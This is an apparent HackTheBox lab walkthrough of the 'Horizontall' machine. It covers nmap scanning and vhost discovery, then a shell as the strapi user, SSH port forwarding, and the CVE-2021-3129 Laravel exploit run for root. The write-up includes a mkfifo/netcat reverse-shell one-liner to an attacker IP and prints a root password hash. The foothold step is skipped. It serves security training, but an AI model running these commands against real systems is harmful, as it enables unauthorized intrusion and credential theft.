Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 1.3kReading time ≈5 mins.
introduce
OS: Linux Difficulty: Easy Points: 20 Release: 28 Aug 2021 IP: 10.10.11.105
Enumeration
Nmap
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/horizontall] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.105 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.14.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
added horizontall.htb to our hosts file. You need to add it to enum further.
Webserver
We don’t have any intresting thing, so we fuzz for vhost and we get a hit on api-prod.horizontall.htb . So, we also add this to our host file.
┌──(root💀kali)-[~] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.11.105. Ncat: Connection from 10.10.11.105:38344. /bin/sh: 0: can't access tty; job control turned off $ di /bin/sh: 1: di: not found $ id uid=1001(strapi) gid=1001(strapi) groups=1001(strapi) $ whoami strapi $ ls /home developer $ cd /home/developer $ ls composer-setup.php myproject user.txt $ cat user.txt 28682f1ff5c4be049cac8bb83103614a
Privilege Escalation
Strapi’s home directory is in opt. So, I created a .ssh directory and added my ssh key.
┌──(root💀kali)-[~/hackthebox/machine/horizontall] └─# ssh -i id_rsa -L 8000:127.0.0.1:8000 strapi@10.10.11.105 The authenticity of host '10.10.11.105 (10.10.11.105)' can't be established. ECDSA key fingerprint is SHA256:rlqcbRwBVk92jqxFV79Tws7plMRzIgEWDMc862X9ViQ. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.105' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Aug 30 08:44:01 UTC 2021 System load: 0.01 Processes: 200 Usage of /: 87.6% of 4.85GB Users logged in: 1 Memory usage: 52% IP address for eth0: 10.10.11.105 Swap usage: 0% => / is using 87.6% of 4.85GB 0 updates can be applied immediately. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Mon Aug 30 08:36:17 2021 from 10.10.14.5 $ id uid=1001(strapi) gid=1001(strapi) groups=1001(strapi) $ whoami strapi
visit:
1
http://127.0.0.1:8000/
CVE-2021-3129
https://github.com/nth347/CVE-2021-3129_exploit
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/hackthebox/machine/horizontall] └─# python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "id" [i] Trying to clear logs [+] Logs cleared [+] PHPGGC found. Generating payload and deploy it to the target [+] Successfully converted logs to PHAR [+] PHAR deserialized. Exploited
uid=0(root) gid=0(root) groups=0(root)
[i] Trying to clear logs [+] Logs cleared
And we have RCE in Laravel, so we can get a reverse shell but I am not going to get a reverse shell, just going to read root.txt
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/horizontall] └─# python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 9001 >/tmp/f" [i] Trying to clear logs [+] Logs cleared [+] PHPGGC found. Generating payload and deploy it to the target [+] Successfully converted logs to PHAR [i] There is no output [i] Trying to clear logs
and we get a root shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root💀kali)-[~] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.11.105. Ncat: Connection from 10.10.11.105:42580. /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root # cat /root/root.txt 03187202abb3831dbbe697f3644709b6 # cat /etc/shadow | grep root root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::